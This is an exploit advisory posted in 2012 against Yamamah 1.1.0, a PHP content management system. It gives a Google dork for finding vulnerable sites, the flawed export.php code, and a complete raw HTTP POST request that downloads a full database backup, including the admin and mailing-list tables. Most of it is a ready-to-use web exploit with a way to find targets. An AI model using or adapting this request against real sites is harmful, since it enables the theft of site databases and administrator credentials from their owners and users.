Home / exploits Yamamah 1.1.0 Database Disclosure
Posted on 29 May 2012
# --------------------------------------- # Author : L3b-r1'z Title : Yamamah Database backup Download Date : 5/27/2012 Email : L3br1z@Gmail.com Site : Sec4Ever.com & Exploit4arab.com Google Dork : allintext: "Copyright © 2010 All rights reserved. Powered By : Yamamah Version 1.1.0" Version : 1.1.0 # --------------------------------------- # This PoC was written for educational purpose. Use it at your own risk. Author will be not responsible for any damage. # --------------------------------------- # 1) Bug 2) PoC # --------------------------------------- # 2) Bug : File Named Export In Cp Folder : $tables = $_POST['check']; $outta = ""; $outta .="-- -------------------------------------------------------- "; $outta .="-- Yamamah.org "; $outta .="-- Version 1.1.0 "; $outta .="-- http://www.yamamah.org "; $outta .="-- "; $outta .="-- Host: " . $_SERVER['HTTP_HOST'] . " "; $outta .="-- Generation Time: " . $generation_date . " at " . strftime('%I:%M:%S %p') . " "; $outta .="-- Server version: " . mysql_get_server_info() . " "; $outta .="-- PHP Version: " . phpversion() . " "; $outta .="-- "; $outta .="-- Database: `".DB_NAME_."` "; $outta .="-- "; $outta .="-- -------------------------------------------------------- "; $outta .=" "; An Attacker Can Download the Database via POST From Live Http Header # --------------------------------------- # 3) PoC : In POST b0x Put :http://www.site.com/yamamah/cp/export.php --- Host: site.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Referer: http://www.site.com/yamamah/cp/index.php?part=backup&action=showtables Cookie: PHPSESSID=your SESSID Content-Type: multipart/form-data; boundary=---------------------------6224110085844 Content-Length: 1727 --- -----------------------------6224110085844 Content-Disposition: form-data; name="check_all" on -----------------------------6224110085844 Content-Disposition: form-data; name="check[]" acceptable_extensions -----------------------------6224110085844 Content-Disposition: form-data; name="check[]" admin -----------------------------6224110085844 Content-Disposition: form-data; name="check[]" admins_permission -----------------------------6224110085844 Content-Disposition: form-data; name="check[]" categories -----------------------------6224110085844 Content-Disposition: form-data; name="check[]" comments -----------------------------6224110085844 Content-Disposition: form-data; name="check[]" contact_mail -----------------------------6224110085844 Content-Disposition: form-data; name="check[]" images -----------------------------6224110085844 Content-Disposition: form-data; name="check[]" mail_list -----------------------------6224110085844 Content-Disposition: form-data; name="check[]" mail_message -----------------------------6224110085844 Content-Disposition: form-data; name="check[]" news -----------------------------6224110085844 Content-Disposition: form-data; name="check[]" options -----------------------------6224110085844 Content-Disposition: form-data; name="check[]" pages -----------------------------6224110085844 Content-Disposition: form-data; name="check[]" sections -----------------------------6224110085844 Content-Disposition: form-data; name="check[]" sys_name -----------------------------6224110085844 Content-Disposition: form-data; name="submit" تØÙx85Ùx8aÙx84 -----------------------------6224110085844-- SniP : http://www11.0zz0.com/2012/05/28/00/933943219.png # --------------------------------------- # Thx To : I-Hmx , B0X , Hacker-1420 , Damane2011 , Sec4ever , The Injector , Over-X , Ked-Ans , N4SS1M , B07 M4ST3R. # --------------------------------------- #
